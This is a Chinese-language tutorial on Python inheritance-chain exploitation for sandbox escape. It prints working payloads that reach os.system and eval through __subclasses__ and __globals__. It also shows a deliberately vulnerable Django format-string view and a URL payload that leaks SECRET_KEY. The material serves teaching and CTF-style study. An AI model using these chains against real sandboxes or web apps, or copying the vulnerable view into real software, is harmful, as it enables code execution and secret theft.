用python继承链搞事情
字数 1177 2025-08-29 08:32:18
Python继承链利用技术详解
前言
继承链是利用Python对象继承关系进行沙盒逃逸和安全漏洞利用的技术。本文详细介绍了Python继承链的基本概念、核心方法和实际应用场景。
基础知识
__bases__属性
返回一个类直接继承的父类(以元组形式):
class Base1: pass
class Base2: pass
class Test(Base1, Base2): pass
class Test2(Test): pass
print(Test.__bases__) # (<class '__main__.Base1'>, <class '__main__.Base2'>)
print(Test2.__bases__) # (<class '__main__.Test'>,)
__mro__属性与__bases__类似,但包含完整的继承顺序链。
__class__属性
返回一个实例所属的类:
obj = Base1()
print(obj.__class__) # <class '__main__.Base1'>
__globals__属性
返回函数所在命名空间的全局变量字典:
import os
var = 2333
def func(): pass
print(func.__globals__) # 包含os模块和var变量
__subclasses__()方法
获取一个类的所有子类(返回列表):
class Base1(object): pass
class Test(Base1): pass
print(Base1.__subclasses__()) # [<class '__main__.Test'>]
__builtin__与__builtins__
__builtins__包含Python内置函数和异常- Python2中
__builtins__指向__builtin__模块 - Python3中改为
builtins模块
继承链构造方法
基本构造思路:
- 获取任意内置类对象的类
- 获取其基类(通常是
object) - 获取所有子类列表
- 在子类中寻找可利用的类
通用构造方式
().__class__.__bases__[0].__subclasses__()
# 或
().__class__.__mro__[1].__subclasses__()
实际利用方法
方法一:利用file对象读取文件(仅Python2)
- 查找file类在子类列表中的位置:
search = 'file'
num = 0
for i in ().__class__.__bases__[0].__subclasses__():
if 'file' in str(i):
print(num)
num += 1
- 通常
file类在第40位:
().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()
方法二:利用内置模块执行命令(Python2)
- 查找包含
os模块的子类:
search = 'os'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
-
常见可利用类:
<class 'site._Printer'>(72)<class 'site.Quitter'>(77)
-
执行命令:
().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
方法三:通用方法(Python2/3)
- 查找包含
__builtins__的子类:
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
- Python3示例(第64位):
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
- Python2示例(第59位):
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
Django配置信息泄露实战
利用格式化字符串漏洞读取Django配置信息:
漏洞代码示例
from django.http import HttpResponse
def search(request):
template = 'Hello {user}, This is your search: ' + request.GET.get('keyword')
return HttpResponse(template.format(user=request.user))
继承链分析
- 未登录用户是
AnonymousUser实例 AnonymousUser._groups是EmptyManager对象EmptyManager继承自ManagerManager使用QuerySet类QuerySet导入django.conf.settings
构造Payload
http://127.0.0.1:8000/search?keyword={user._groups.__class__.__base__.__init__.__globals__[QuerySet].__init__.__globals__[settings].SECRET_KEY}
总结
Python继承链利用技术要点:
- 掌握
__class__、__bases__、__subclasses__()等关键属性方法 - 熟悉Python对象继承关系
- 了解
__globals__和__builtins__的作用 - 针对不同环境(Python2/3)调整利用方式
- 在Web框架中寻找可利用的对象链